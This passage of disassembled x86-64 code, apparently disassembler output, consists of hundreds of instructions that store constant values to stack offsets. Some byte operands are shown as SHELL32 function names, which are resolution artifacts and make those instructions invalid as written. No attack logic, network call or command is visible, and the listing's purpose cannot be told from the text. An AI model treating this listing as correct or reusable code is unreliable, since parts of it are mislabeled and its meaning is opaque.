mov word [rsp + 0xfac], ax
movabs rax, 0x7cd7f47504ef0c
mov qword [rsp + 0x7d58], rax
movabs rax, 0x70277cdd6a935a
mov qword [rsp + 0x7d60], rax
mov byte [rsp + 0x167], 0x5e
mov eax, 0xde
mov word [rsp + 0xfb0], ax
mov byte [rsp + 0x168], 0x78
movabs rax, 0x73f83ee54b615b
mov qword [rsp + 0x7d68], rax
mov eax, 0x560
mov word [rsp + 0xfb4], ax
movabs rax, 0x7322555192d18c
mov qword [rsp + 0x7d70], rax
mov dword [rsp + 0x3de4], 0x8caa
movabs rax, 0x776505f4040726
mov qword [rsp + 0x7d78], rax
mov dword [rsp + 0x3de8], 0xdc47
movabs rax, 0x78f048e9d20c1c
mov qword [rsp + 0x7d80], rax
mov eax, 0x7c4
mov word [rsp + 0xfb8], ax
movabs rax, 0x7665ca601f908c
mov qword [rsp + 0x7d88], rax
movabs rax, 0x7b4f8356dd2e51
mov qword [rsp + 0x7d90], rax
mov eax, 0x51
mov word [rsp + 0xfbc], ax
movabs rax, 0x7e5d893563ec33
mov qword [rsp + 0x7d98], rax
mov dword [rsp + 0x3dec], 0x515d
movabs rax, 0x7ad21a08012e7a
mov qword [rsp + 0x7da0], rax
mov eax, 0x3d6
mov word [rsp + 0xfc0], ax
movabs rax, 0x75bce19b744e36
mov qword [rsp + 0x7da8], rax
mov dword [rsp + 0x3df0], 0x6b51714c
mov dword [rsp + 0x3df4], 0x7961b248
mov byte [rsp + 0x169], 0x26
mov eax, 0xc6b
mov word [rsp + 0xfc4], ax
mov eax, 0x35b
mov word [rsp + 0xfc8], ax
movabs rax, 0x79cd4567f6eb54
mov qword [rsp + 0x7db0], rax
movabs rax, 0x79cbb80cc0663a
mov qword [rsp + 0x7db8], rax
mov byte [rsp + 0x16a], 0xd7
mov eax, 0xc6
mov word [rsp + 0xfcc], ax
mov eax, 0x594
mov word [rsp + 0xfd0], ax
movabs rax, 0x7654c415b916fc
mov qword [rsp + 0x7dc0], rax
mov dword [rsp + 0x3df8], 0x984e
movabs rax, 0x75d1bc6e973ab0
mov qword [rsp + 0x7dc8], rax
mov byte [rsp + 0x16b], 0x2a
movabs rax, 0x71ae3b4b3696aa
mov qword [rsp + 0x7dd0], rax
mov eax, 0xd73
mov word [rsp + 0xfd4], ax
mov byte [rsp + 0x16c], SHGetNewLinkInfoW
movabs rax, 0x735679e9f8636c
mov qword [rsp + 0x7dd8], rax
mov dword [rsp + 0x3dfc], 0x49921290
mov eax, 0xbe1
mov word [rsp + 0xfd8], ax
mov dword [rsp + 0x3e00], 0x9c15
movabs rax, 0x74a2b6d3ac4b77
mov qword [rsp + 0x7de0], rax
movabs rax, 0x7d398605c3227f
mov qword [rsp + 0x7de8], rax
mov dword [rsp + 0x3e04], 0xead6
movabs rax, 0x7175b68deeb74f
mov qword [rsp + 0x7df0], rax
mov dword [rsp + 0x3e08], 0x50c8
mov eax, 0x731
mov word [rsp + 0xfdc], ax
mov eax, 0x500
mov word [rsp + 0xfe0], ax
mov eax, 0x6e5
mov word [rsp + 0xfe4], ax
mov byte [rsp + 0x16d], 0xbc
movabs rax, 0x7e884e2719a702
mov qword [rsp + 0x7df8], rax
mov eax, 0xeeb
mov word [rsp + 0xfe8], ax
mov eax, 0x52f
mov word [rsp + 0xfec], ax
movabs rax, 0x7c5d9037baa2ac
mov qword [rsp + 0x7e00], rax
mov dword [rsp + 0x3e0c], 0x24c0
mov dword [rsp + 0x3e10], 0x92c3
movabs rax, 0x7677495f9dac38
mov qword [rsp + 0x7e08], rax
mov byte [rsp + 0x16e], 0x38
movabs rax, 0x7d9c2bbfcf4e88
mov qword [rsp + 0x7e10], rax
movabs rax, 0x76545f4af0b33c
mov qword [rsp + 0x7e18], rax
mov byte [rsp + 0x16f], 1
movabs rax, 0x7b83da66d7d170
mov qword [rsp + 0x7e20], rax
mov eax, 0xb17
mov word [rsp + 0xff0], ax
mov byte [rsp + 0x170], 0x2f
mov byte [rsp + 0x171], 0x3a
movabs rax, 0x7797b24eb68028
mov qword [rsp + 0x7e28], rax
movabs rax, 0x7abbb366751655
mov qword [rsp + 0x7e30], rax
mov eax, 0xd60
mov word [rsp + 0xff4], ax
mov eax, 0xc9c
mov word [rsp + 0xff8], ax
movabs rax, 0x72789c1aed1a5d
mov qword [rsp + 0x7e38], rax
mov eax, 0x36a
mov word [rsp + 0xffc], ax
mov eax, 0x3e6
mov word [rsp + 0x1000], ax
movabs rax, 0x7b9dda9723a4d5
mov qword [rsp + 0x7e40], rax
movabs rax, 0x77f28b63796a93
mov qword [rsp + 0x7e48], rax
mov eax, 0x709
mov word [rsp + 0x1004], ax
mov dword [rsp + 0x3e14], 0x57a5bd73
mov eax, 0xaf0
mov word [rsp + 0x1008], ax
movabs rax, 0x75d3cbc3189251
mov qword [rsp + 0x7e50], rax
movabs rax, 0x7ca5a06f9505bd
mov qword [rsp + 0x7e58], rax
mov dword [rsp + 0x3e18], 0x32f12c9c
mov dword [rsp + 0x3e1c], 0x4d87
movabs rax, 0x7b720e5e44ccfa
mov qword [rsp + 0x7e60], rax
movabs rax, 0x7223a4dc7854f4
mov qword [rsp + 0x7e68], rax
movabs rax, 0x7dc7855c4fd284
mov qword [rsp + 0x7e70], rax
mov byte [rsp + 0x172], 2
movabs rax, 0x751af80e73b6e9
mov qword [rsp + 0x7e78], rax
mov eax, 0x82
mov word [rsp + 0x100c], ax
mov eax, 0x7ac
mov word [rsp + 0x1010], ax
mov eax, 0xccc
mov word [rsp + 0x1014], ax
movabs rax, 0x7dfc179f7fe7fb
mov qword [rsp + 0x7e80], rax
mov dword [rsp + 0x3e20], 0x21e5bafc
movabs rax, 0x787cb8b8a1a5a2
mov qword [rsp + 0x7e88], rax
movabs rax, 0x7b489402c6dcd7
mov qword [rsp + 0x7e90], rax
mov dword [rsp + 0x3e24], 0x836a
mov eax, 0xb32
mov word [rsp + 0x1018], ax
movabs rax, 0x7e01bee4ee3b6a
mov qword [rsp + 0x7e98], rax
mov eax, 0x4c7
mov word [rsp + 0x101c], ax
movabs rax, 0x7af7f7c7a3b421
mov qword [rsp + 0x7ea0], rax
movabs rax, 0x70f0cedea3d63f
mov qword [rsp + 0x7ea8], rax
movabs rax, 0x7b219fcf796b59
mov qword [rsp + 0x7eb0], rax
mov eax, 0x9d0
mov word [rsp + 0x1020], ax
mov dword [rsp + 0x3e28], 0x669ab80a
mov byte [rsp + 0x173], 0x77
mov eax, 0xd44
mov word [rsp + 0x1024], ax
mov dword [rsp + 0x3e2c], 0xac86
movabs rax, 0x7a635421563b43
mov qword [rsp + 0x7eb8], rax
movabs rax, 0x7d56ed7be21a0d
mov qword [rsp + 0x7ec0], rax
movabs rax, 0x743bcaec3773a1
mov qword [rsp + 0x7ec8], rax
mov eax, 0x958
mov word [rsp + 0x1028], ax
mov eax, 0xf77
mov word [rsp + 0x102c], ax
mov eax, 0x772
mov word [rsp + 0x1030], ax
movabs rax, 0x774eb2614a968b
mov qword [rsp + 0x7ed0], rax
movabs rax, 0x7efc4c709a1560
mov qword [rsp + 0x7ed8], rax
movabs rax, 0x720b8d64fd9560
mov qword [rsp + 0x7ee0], rax
movabs rax, 0x7b35b315f4d9ed
mov qword [rsp + 0x7ee8], rax
movabs rax, 0x7e4c4c4a787328
mov qword [rsp + 0x7ef0], rax
movabs rax, 0x75ba2196926dcc
mov qword [rsp + 0x7ef8], rax
movabs rax, 0x77f92817cc8edc
mov qword [rsp + 0x7f00], rax
mov eax, 0x895
mov word [rsp + 0x1034], ax
mov byte [rsp + 0x174], 0x6d
mov eax, 0x3d3
mov word [rsp + 0x1038], ax
mov eax, 0x220
mov word [rsp + 0x103c], ax
mov byte [rsp + 0x175], 7
movabs rax, 0x7df867c6112586
mov qword [rsp + 0x7f08], rax
mov eax, 0x455
mov word [rsp + 0x1040], ax
mov eax, 0xe48
mov word [rsp + 0x1044], ax
mov eax, 0x331
mov word [rsp + 0x1048], ax
mov dword [rsp + 0x3e30], 0xa298
mov dword [rsp + 0x3e34], 0x5933
movabs rax, 0x7dcdfc2fdd2bb2
mov qword [rsp + 0x7f10], rax
mov dword [rsp + 0x3e38], 0x1806
mov eax, 0x1b5
mov word [rsp + 0x104c], ax
mov eax, 0x99a
mov word [rsp + 0x1050], ax
mov eax, 0x75c
mov word [rsp + 0x1054], ax
mov eax, 0xe4b
mov word [rsp + 0x1058], ax
movabs rax, 0x7a80e621b73a2c
mov qword [rsp + 0x7f18], rax
mov dword [rsp + 0x3e3c], 0xf2ba
mov dword [rsp + 0x3e40], 0x48c9424b
mov eax, 0x4dd
mov word [rsp + 0x105c], ax
movabs rax, 0x70cfb258aacb92
mov qword [rsp + 0x7f20], rax
mov eax, 0xa0e
mov word [rsp + 0x1060], ax
movabs rax, 0x71b2827bb4c997
mov qword [rsp + 0x7f28], rax
mov eax, 0x958
mov word [rsp + 0x1064], ax
mov eax, 0xe46
mov word [rsp + 0x1068], ax
mov dword [rsp + 0x3e44], 0xebb5
movabs rax, 0x7505687d8e2d28
mov qword [rsp + 0x7f30], rax
movabs rax, 0x743dd66307514c
mov qword [rsp + 0x7f38], rax
movabs rax, 0x7b330ea91d376a
mov qword [rsp + 0x7f40], rax
mov dword [rsp + 0x3e48], 0x5359
movabs rax, 0x7c111d0b2cf2f4
mov qword [rsp + 0x7f48], rax
mov eax, 0x2fc
mov word [rsp + 0x106c], ax
movabs rax, 0x795c60543d2ffd
mov qword [rsp + 0x7f50], rax
mov eax, 0x62d
mov word [rsp + 0x1070], ax
movabs rax, 0x7ba1735108374c
mov qword [rsp + 0x7f58], rax
mov byte [rsp + 0x176], 0x34
mov eax, 0x25e
mov word [rsp + 0x1074], ax
mov eax, 0xa93
mov word [rsp + 0x1078], ax
mov eax, 0x40f
mov word [rsp + 0x107c], ax
mov eax, 0x42d
mov word [rsp + 0x1080], ax
mov byte [rsp + 0x177], 0x7a
mov eax, 0x3e3
mov word [rsp + 0x1084], ax
mov eax, 0x9a4
mov word [rsp + 0x1088], ax
mov eax, 0xe2d
mov word [rsp + 0x108c], ax
mov eax, 0x650
mov word [rsp + 0x1090], ax
mov eax, 0xe10
mov word [rsp + 0x1094], ax
movabs rax, 0x744f011a5102b1
mov qword [rsp + 0x7f60], rax
mov byte [rsp + 0x178], 0xf4
mov eax, 0xb03
mov word [rsp + 0x1098], ax
mov eax, 0x163
mov word [rsp + 0x109c], ax
movabs rax, 0x7b6a86c1a7a09d
mov qword [rsp + 0x7f68], rax
mov eax, 0x7c7
mov word [rsp + 0x10a0], ax
mov eax, 0x141
mov word [rsp + 0x10a4], ax
movabs rax, 0x7b20476844b5f3
mov qword [rsp + 0x7f70], rax
mov eax, 0xeb4
mov word [rsp + 0x10a8], ax
mov byte [rsp + 0x179], 0xda
mov eax, SHDoDragDrop
mov word [rsp + 0x10ac], ax
mov eax, 0x408
mov word [rsp + 0x10b0], ax
mov eax, 0x11f
mov word [rsp + 0x10b4], ax
mov byte [rsp + 0x17a], 0
mov dword [rsp + 0x3e4c], 0x587f4d37
mov byte [rsp + 0x17b], 0x28
mov dword [rsp + 0x3e50], 0x466f2ddd
mov dword [rsp + 0x3e54], 0xf539
mov dword [rsp + 0x3e58], 0x247dde97
movabs rax, 0x7dcebecc26d155
mov qword [rsp + 0x7f78], rax
mov eax, 0x6b5
mov word [rsp + 0x10b8], ax
movabs rax, 0x7abf18d16cb96a
mov qword [rsp + 0x7f80], rax
movabs rax, 0x74f554c6655799
mov qword [rsp + 0x7f88], rax
mov eax, 0xe7e
mov word [rsp + 0x10bc], ax
mov byte [rsp + 0x17c], reloc.SHELL32.dll_ILIsEqual
mov eax, 0x2bc
mov word [rsp + 0x10c0], ax
mov eax, 0xaa0
mov word [rsp + 0x10c4], ax
mov dword [rsp + 0x3e5c], 0x9a98
mov eax, 0x706
mov word [rsp + 0x10c8], ax
mov byte [rsp + 0x17d], PathYetAnotherMakeUniqueName
mov eax, 0x248
mov word [rsp + 0x10cc], ax
mov byte [rsp + 0x17e], ILIsEqual
mov dword [rsp + 0x3e60], 0x33ef29ab
mov byte [rsp + 0x17f], 0x7c
mov eax, 0x773
mov word [rsp + 0x10d0], ax
mov eax, 0x7f5
mov word [rsp + 0x10d4], ax
mov eax, 0x419
mov word [rsp + 0x10d8], ax
mov dword [rsp + 0x3e64], 0x66de
mov byte [rsp + 0x180], 0x29
mov byte [rsp + 0x181], 0x36
mov dword [rsp + 0x3e68], 0x20ef7d47
mov eax, 0x59b
mov word [rsp + 0x10dc], ax
mov dword [rsp + 0x3e6c], 0x6f3
mov byte [rsp + 0x182], 0xf9
movabs rax, 0x74da9a9942f775
mov qword [rsp + 0x7f90], rax
mov dword [rsp + 0x3e70], 0x55fdbe57
mov dword [rsp + 0x3e74], 0x86dd
mov eax, 0x85
mov word [rsp + 0x10e0], ax
mov byte [rsp + 0x183], 9
mov byte [rsp + 0x184], 0x1a
mov eax, 0x3ab
mov word [rsp + 0x10e4], ax
mov eax, 0xba
mov word [rsp + 0x10e8], ax
mov eax, 0xe28
mov word [rsp + 0x10ec], ax
mov dword [rsp + 0x3e78], 0xc075
mov byte [rsp + 0x185], 0x5a
mov byte [rsp + 0x186], reloc.SHELL32.dll_SHDoDragDrop
mov byte [rsp + 0x187], 0x6a
movabs rax, 0x7990c46513be92
mov qword [rsp + 0x7f98], rax
mov eax, 0x55e
mov word [rsp + 0x10f0], ax
mov byte [rsp + 0x188], 0x35
mov eax, 0x932
mov word [rsp + 0x10f4], ax
movabs rax, 0x77030186164564
mov qword [rsp + 0x7fa0], rax
mov eax, 0x82c
mov word [rsp + 0x10f8], ax
mov eax, 0x7bc
mov word [rsp + 0x10fc], ax
mov dword [rsp + 0x3e7c], 0x708d
mov eax, 0x64e
mov word [rsp + 0x1100], ax
mov eax, 0x1b1
mov word [rsp + 0x1104], ax
movabs rax, 0x715c2bd4f34440
mov qword [rsp + 0x7fa8], rax
mov eax, 0x200
mov word [rsp + 0x1108], ax
mov dword [rsp + 0x3e80], 0x298b
mov dword [rsp + 0x3e84], 0xec5e
mov dword [rsp + 0x3e88], 0x3bee8266
mov dword [rsp + 0x3e8c], 0x52331b1a
movabs rax, 0x7afef9e1a1b820
mov qword [rsp + 0x7fb0], rax
mov eax, 0xc29
mov word [rsp + 0x110c], ax
mov byte [rsp + 0x189], ILIsEqual
mov eax, 0x900
mov word [rsp + 0x1110], ax
mov byte [rsp + 0x18a], 0x6e
mov byte [rsp + 0x18b], 0x21
movabs rax, 0x76a5bdccabc295
mov qword [rsp + 0x7fb8], rax
movabs rax, 0x7617fd4a8e3817
mov qword [rsp + 0x7fc0], rax
mov eax, 0xba9
mov word [rsp + 0x1114], ax
mov byte [rsp + 0x18c], 0x50
mov byte [rsp + 0x18d], 0xc9
movabs rax, 0x72c7ce730b9281
mov qword [rsp + 0x7fc8], rax
mov byte [rsp + 0x18e], 0x3d
mov eax, 0x66c
mov word [rsp + 0x1118], ax
movabs rax, 0x721f5482ea3480
mov qword [rsp + 0x7fd0], rax
movabs rax, 0x7850b676becad3
mov qword [rsp + 0x7fd8], rax
movabs rax, 0x7d917ad113c620
mov qword [rsp + 0x7fe0], rax
movabs rax, 0x73ca80bbd24c94
mov qword [rsp + 0x7fe8], rax
mov byte [rsp + 0x18f], 0x2a
mov eax, 0xcec
mov word [rsp + 0x111c], ax
mov eax, 0xbb9
mov word [rsp + 0x1120], ax
mov eax, 0x2da
mov word [rsp + 0x1124], ax
movabs rax, 0x7b5206f32df70f
mov qword [rsp + 0x7ff0], rax
mov eax, 0x3b2
mov word [rsp + 0x1128], ax
mov eax, 0x2db
mov word [rsp + 0x112c], ax
mov dword [rsp + 0x3e90], 0x56299894
mov eax, 0x667
mov word [rsp + 0x1130], ax
mov eax, 0x91
mov word [rsp + 0x1134], ax
mov dword [rsp + 0x3e94], 0x31cb4867
movabs rax, 0x7b764afa89c4ea
mov qword [rsp + 0x7ff8], rax
movabs rax, 0x7aa4e910f993f1
mov qword [rsp + 0x8000], rax
mov dword [rsp + 0x3e98], 0x1976b2f1
mov eax, 0x1cd
mov word [rsp + 0x1138], ax
movabs rax, 0x7837ed59163fb6
mov qword [rsp + 0x8008], rax
mov dword [rsp + 0x3e9c], 0x54f57b02
movabs rax, 0x7227ff613e201a
mov qword [rsp + 0x8010], rax
mov eax, 0xc60
mov word [rsp + 0x113c], ax
mov eax, 0x373
mov word [rsp + 0x1140], ax
movabs rax, 0x75355398bdda16
mov qword [rsp + 0x8018], rax
mov eax, 0x34f
mov word [rsp + 0x1144], ax
mov eax, 0xe36
mov word [rsp + 0x1148], ax
mov byte [rsp + 0x190], ILIsEqual
mov eax, 0xfb9
mov word [rsp + 0x114c], ax
mov eax, 0x1da
mov word [rsp + 0x1150], ax
mov eax, 0x59a
mov word [rsp + 0x1154], ax
movabs rax, 0x71a8c70e76ac4a
mov qword [rsp + 0x8020], rax
mov eax, 0x48c
mov word [rsp + 0x1158], ax
movabs rax, 0x7123392c72750c
mov qword [rsp + 0x8028], rax
movabs rax, 0x73a6b00828f78d
mov qword [rsp + 0x8030], rax
mov eax, 0xa43
mov word [rsp + 0x115c], ax
movabs rax, 0x7e0cf5bfa55a7d
mov qword [rsp + 0x8038], rax
mov byte [rsp + 0x191], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov eax, 0x387
mov word [rsp + 0x1160], ax
mov dword [rsp + 0x3ea0], 0x15fc
mov eax, 0xa9a
mov word [rsp + 0x1164], ax
movabs rax, 0x7c8577e42ca4aa
mov qword [rsp + 0x8040], rax
mov dword [rsp + 0x3ea4], 0xb21c
movabs rax, 0x74a2adb961e1ec
mov qword [rsp + 0x8048], rax
movabs rax, 0x7baae59ed18f47
mov qword [rsp + 0x8050], rax
mov eax, 0x8b4
mov word [rsp + 0x1168], ax
mov eax, 0x64a
mov word [rsp + 0x116c], ax
mov eax, 0x4b8
mov word [rsp + 0x1170], ax
mov eax, 0x3c1
mov word [rsp + 0x1174], ax
mov dword [rsp + 0x3ea8], 0x3c3eddb3
mov dword [rsp + 0x3eac], 0x62ab
movabs rax, 0x76d8e0c9a07b67
mov qword [rsp + 0x8058], rax
mov byte [rsp + 0x192], 0xa5
movabs rax, 0x706496aaa04626
mov qword [rsp + 0x8060], rax
mov dword [rsp + 0x3eb0], 0xc955
mov eax, 0x5f
mov word [rsp + 0x1178], ax
mov eax, 0x751
mov word [rsp + 0x117c], ax
mov eax, 0xb66
mov word [rsp + 0x1180], ax
mov byte [rsp + 0x193], 0x7c
mov eax, 0x63
mov word [rsp + 0x1184], ax
mov eax, 0x388
mov word [rsp + 0x1188], ax
mov eax, 0x79b
mov word [rsp + 0x118c], ax
mov eax, 0x2ae
mov word [rsp + 0x1190], ax
mov dword [rsp + 0x3eb4], 0x3e5713db
movabs rax, 0x7b6d0520062b7f
mov qword [rsp + 0x8068], rax
movabs rax, 0x7b3dca25088f4d
mov qword [rsp + 0x8070], rax
mov dword [rsp + 0x3eb8], 0xe392
mov byte [rsp + 0x194], 0x36
mov byte [rsp + 0x195], 0x28
movabs rax, 0x7a012595cb72a6
mov qword [rsp + 0x8078], rax
mov byte [rsp + 0x196], 0x5d
mov byte [rsp + 0x197], 0x97
mov eax, 0xbda
mov word [rsp + 0x1194], ax
movabs rax, 0x711c7353f11577
mov qword [rsp + 0x8080], rax
movabs rax, 0x712cf727585b6d
mov qword [rsp + 0x8088], rax
mov dword [rsp + 0x3ebc], 0x16f7c055
mov byte [rsp + 0x198], ILFindLastID
mov eax, 0x6ad
mov word [rsp + 0x1198], ax
mov dword [rsp + 0x3ec0], 0x13c8
mov dword [rsp + 0x3ec4], 0xc46f
movabs rax, 0x78dc0ac844a165
mov qword [rsp + 0x8090], rax
mov byte [rsp + 0x199], 0x22
mov eax, 0x371
mov word [rsp + 0x119c], ax
movabs rax, 0x73e341c0a5c3b4
mov qword [rsp + 0x8098], rax
mov eax, 0xdea
mov word [rsp + 0x11a0], ax
mov byte [rsp + 0x19a], 0x2d
movabs rax, 0x72b388e622113d
mov qword [rsp + 0x80a0], rax
mov byte [rsp + 0x19b], 0x4d
mov dword [rsp + 0x3ec8], 0x2244
mov byte [rsp + 0x19c], SHDoDragDrop
mov eax, 0x640
mov word [rsp + 0x11a4], ax
movabs rax, 0x7ed1ff4842ce88
mov qword [rsp + 0x80a8], rax
mov eax, 0x7f3
mov word [rsp + 0x11a8], ax
mov byte [rsp + 0x19d], 5
movabs rax, 0x70bae275602b33
mov qword [rsp + 0x80b0], rax
movabs rax, 0x7ab9ae8d7f9253
mov qword [rsp + 0x80b8], rax
movabs rax, 0x750493723f7e5a
mov qword [rsp + 0x80c0], rax
mov eax, 0x55a
mov word [rsp + 0x11ac], ax
movabs rax, 0x7aced7ac05a16f
mov qword [rsp + 0x80c8], rax
mov dword [rsp + 0x3ecc], 0x6a86
mov eax, 0x550
mov word [rsp + 0x11b0], ax
mov dword [rsp + 0x3ed0], 0x2ba8083c
mov eax, 0x61b
mov word [rsp + 0x11b4], ax
movabs rax, 0x733e0910e198ce
mov qword [rsp + 0x80d0], rax
movabs rax, 0x7370cc61c0447e
mov qword [rsp + 0x80d8], rax
mov eax, 0x7e
mov word [rsp + 0x11b8], ax
mov eax, 0x1ed
mov word [rsp + 0x11bc], ax
mov eax, 0x6ad
mov word [rsp + 0x11c0], ax
mov dword [rsp + 0x3ed4], 0xb83d
mov dword [rsp + 0x3ed8], 0x7b58ff5e
mov eax, 0xc50
mov word [rsp + 0x11c4], ax
movabs rax, 0x7b5792710d4500
mov qword [rsp + 0x80e0], rax
movabs rax, 0x79ca2be53e6600
mov qword [rsp + 0x80e8], rax
movabs rax, 0x78add400e40dd7
mov qword [rsp + 0x80f0], rax
movabs rax, 0x7cac54f08494ae
mov qword [rsp + 0x80f8], rax
movabs rax, 0x721066b42308ba
mov qword [rsp + 0x8100], rax
movabs rax, 0x7c0fdb0fa76d05
mov qword [rsp + 0x8108], rax
mov eax, 0x1b3
mov word [rsp + 0x11c8], ax
mov byte [rsp + 0x19e], 0xd7
movabs rax, 0x7b991ed49f06aa
mov qword [rsp + 0x8110], rax
mov dword [rsp + 0x3edc], 0xb292
movabs rax, 0x74f13254d59850
mov qword [rsp + 0x8118], rax
movabs rax, 0x79623854e33d72
mov qword [rsp + 0x8120], rax
mov byte [rsp + 0x19f], 0x90
mov eax, 0x33f
mov word [rsp + 0x11cc], ax
mov dword [rsp + 0x3ee0], 0x7ea5
mov eax, 0x2d9
mov word [rsp + 0x11d0], ax
mov eax, 0x8fc
mov word [rsp + 0x11d4], ax
mov eax, 0x7a6
mov word [rsp + 0x11d8], ax
mov eax, 0x60a
mov word [rsp + 0x11dc], ax
mov eax, 0x694
mov word [rsp + 0x11e0], ax
mov byte [rsp + 0x1a0], 0x70
mov byte [rsp + 0x1a1], 0
mov dword [rsp + 0x3ee4], 0x592c
mov eax, 0x677
mov word [rsp + 0x11e4], ax
movabs rax, 0x717bdfd2c4c888
mov qword [rsp + 0x8128], rax
movabs rax, 0x7e3f8bedfe7cbf
mov qword [rsp + 0x8130], rax
mov dword [rsp + 0x3ee8], 0x25a3
mov eax, 0xd92
mov word [rsp + 0x11e8], ax
mov byte [rsp + 0x1a2], 0xfe
mov eax, 0x4c9
mov word [rsp + 0x11ec], ax
mov byte [rsp + 0x1a3], 0x2f
mov dword [rsp + 0x3eec], 0x94b9
movabs rax, 0x727de36e753887
mov qword [rsp + 0x8138], rax
movabs rax, 0x74b521d39a3a9e
mov qword [rsp + 0x8140], rax
movabs rax, 0x768583145bbbd6
mov qword [rsp + 0x8148], rax
movabs rax, 0x73f1649dceef97
mov qword [rsp + 0x8150], rax
mov dword [rsp + 0x3ef0], 0xe190
mov eax, 0x729
mov word [rsp + 0x11f0], ax
mov eax, 0x106
mov word [rsp + 0x11f4], ax
mov dword [rsp + 0x3ef4], 0x4a08
mov eax, 0xd33
mov word [rsp + 0x11f8], ax
mov eax, 0x22e
mov word [rsp + 0x11fc], ax
mov eax, 0x582
mov word [rsp + 0x1200], ax
movabs rax, 0x766596faa4e871
mov qword [rsp + 0x8158], rax
movabs rax, 0x72268c4b16c23b
mov qword [rsp + 0x8160], rax
mov eax, 0x5a1
mov word [rsp + 0x1204], ax
mov byte [rsp + 0x1a4], SHDoDragDrop
movabs rax, 0x7c7c59bb132b5d
mov qword [rsp + 0x8168], rax
mov eax, 0x1f1
mov word [rsp + 0x1208], ax
movabs rax, 0x7a9a035d935b16
mov qword [rsp + 0x8170], rax
mov dword [rsp + 0x3ef8], 0x74e840a5
movabs rax, 0x70ff898418107d
mov qword [rsp + 0x8178], rax
mov eax, 0x260
mov word [rsp + 0x120c], ax
mov dword [rsp + 0x3efc], 0x74c1fc0
movabs rax, 0x730304cc8a05dd
mov qword [rsp + 0x8180], rax
movabs rax, 0x7843e9a5413e73
mov qword [rsp + 0x8188], rax
movabs rax, 0x778ce581b850c6
mov qword [rsp + 0x8190], rax
mov byte [rsp + 0x1a5], 0xbf
mov byte [rsp + 0x1a6], 0x1d
mov eax, 0x994
mov word [rsp + 0x1210], ax
mov byte [rsp + 0x1a7], 0x2e
mov eax, 0x434
mov word [rsp + 0x1214], ax
mov byte [rsp + 0x1a8], 7
mov byte [rsp + 0x1a9], 0x28
movabs rax, 0x7b9c7adbbf3e46
mov qword [rsp + 0x8198], rax
mov eax, 0x657
mov word [rsp + 0x1218], ax
mov byte [rsp + 0x1aa], 0x74
movabs rax, 0x740bfad9f017ad
mov qword [rsp + 0x81a0], rax
movabs rax, 0x77b161f2239bda
mov qword [rsp + 0x81a8], rax
mov eax, 0x333
mov word [rsp + 0x121c], ax
mov eax, 0xf0
mov word [rsp + 0x1220], ax
movabs rax, 0x7b224b6d17a23d
mov qword [rsp + 0x81b0], rax
mov byte [rsp + 0x1ab], ILFindLastID
mov byte [rsp + 0x1ac], 0x38
movabs rax, 0x75d25f7505f6cf
mov qword [rsp + 0x81b8], rax
movabs rax, 0x7e4dac82284910
mov qword [rsp + 0x81c0], rax
movabs rax, 0x7b93ca9805905b
mov qword [rsp + 0x81c8], rax
mov dword [rsp + 0x3f00], 0xfb99
mov eax, 0x47b
mov word [rsp + 0x1224], ax
mov byte [rsp + 0x1ad], reloc.SHELL32.dll_ILFindLastID
mov byte [rsp + 0x1ae], 0xea
movabs rax, 0x7a576c594660b3
mov qword [rsp + 0x81d0], rax
movabs rax, 0x7066bac1e45c8f
mov qword [rsp + 0x81d8], rax
movabs rax, 0x7769f8f5579fd9
mov qword [rsp + 0x81e0], rax
mov eax, 0x601
mov word [rsp + 0x1228], ax
mov eax, 0x356
mov word [rsp + 0x122c], ax
movabs rax, 0x7c4dbdbcd70c29
mov qword [rsp + 0x81e8], rax
mov dword [rsp + 0x3f04], 0xf53c
mov eax, 0xaf9
mov word [rsp + 0x1230], ax
mov byte [rsp + 0x1af], SHDoDragDrop
movabs rax, 0x7ca4cff2202829
mov qword [rsp + 0x81f0], rax
mov eax, 0x765
mov word [rsp + 0x1234], ax
mov dword [rsp + 0x3f08], 0x42a06ea
movabs rax, 0x7675fdf09cf419
mov qword [rsp + 0x81f8], rax
movabs rax, 0x73bd625fece030
mov qword [rsp + 0x8200], rax
movabs rax, 0x77c689803a6afa
mov qword [rsp + 0x8208], rax
mov eax, 0x799
mov word [rsp + 0x1238], ax
mov dword [rsp + 0x3f0c], 0xf0
mov dword [rsp + 0x3f10], 0xa096
mov eax, 0x79b
mov word [rsp + 0x123c], ax
mov eax, 0xaec
mov word [rsp + 0x1240], ax
mov eax, 0x3a4
mov word [rsp + 0x1244], ax
mov eax, 0x257
mov word [rsp + 0x1248], ax
mov eax, 0x6fd
mov word [rsp + 0x124c], ax
movabs rax, 0x730bb46d5dff5b
mov qword [rsp + 0x8210], rax
mov eax, 0x5b3
mov word [rsp + 0x1250], ax
mov eax, 0x4c2
mov word [rsp + 0x1254], ax
mov eax, 0x55f
mov word [rsp + 0x1258], ax
movabs rax, 0x7cbad05f921a93
mov qword [rsp + 0x8218], rax
mov dword [rsp + 0x3f14], 0x240e
mov eax, 0xaed
mov word [rsp + 0x125c], ax
movabs rax, 0x71843c19fc6ffc
mov qword [rsp + 0x8220], rax
mov eax, 0x5f2
mov word [rsp + 0x1260], ax
mov eax, 0x70d
mov word [rsp + 0x1264], ax
mov dword [rsp + 0x3f18], 0x4c4c
movabs rax, 0x7ad67175f828ae
mov qword [rsp + 0x8228], rax
movabs rax, 0x740d83a47db879
mov qword [rsp + 0x8230], rax
movabs rax, 0x75dfc81df92577
mov qword [rsp + 0x8238], rax
movabs rax, 0x7604db2869073d
mov qword [rsp + 0x8240], rax
mov eax, 0x154
mov word [rsp + 0x1268], ax
mov eax, 0x4c8
mov word [rsp + 0x126c], ax
movabs rax, 0x77bea12b5c20ce
mov qword [rsp + 0x8248], rax
mov eax, 0x369
mov word [rsp + 0x1270], ax
mov eax, 0xbf0
mov word [rsp + 0x1274], ax
movabs rax, 0x7dd63572e7c678
mov qword [rsp + 0x8250], rax
mov byte [rsp + 0x1b0], 0x42
mov dword [rsp + 0x3f1c], 0x7634
movabs rax, 0x73a0900f741dc5
mov qword [rsp + 0x8258], rax
movabs rax, 0x72d424acfa76c5
mov qword [rsp + 0x8260], rax
movabs rax, 0x799b43bf228d5c
mov qword [rsp + 0x8268], rax
mov byte [rsp + 0x1b1], 0x9b
mov eax, 0x44a
mov word [rsp + 0x1278], ax
mov dword [rsp + 0x3f20], 0xae43
mov dword [rsp + 0x3f24], 0xda59
mov dword [rsp + 0x3f28], 0x4216
mov eax, 0xf96
mov word [rsp + 0x127c], ax
mov byte [rsp + 0x1b2], 0x2a
mov dword [rsp + 0x3f2c], 0x5273
mov dword [rsp + 0x3f30], 0x1ffb25ea
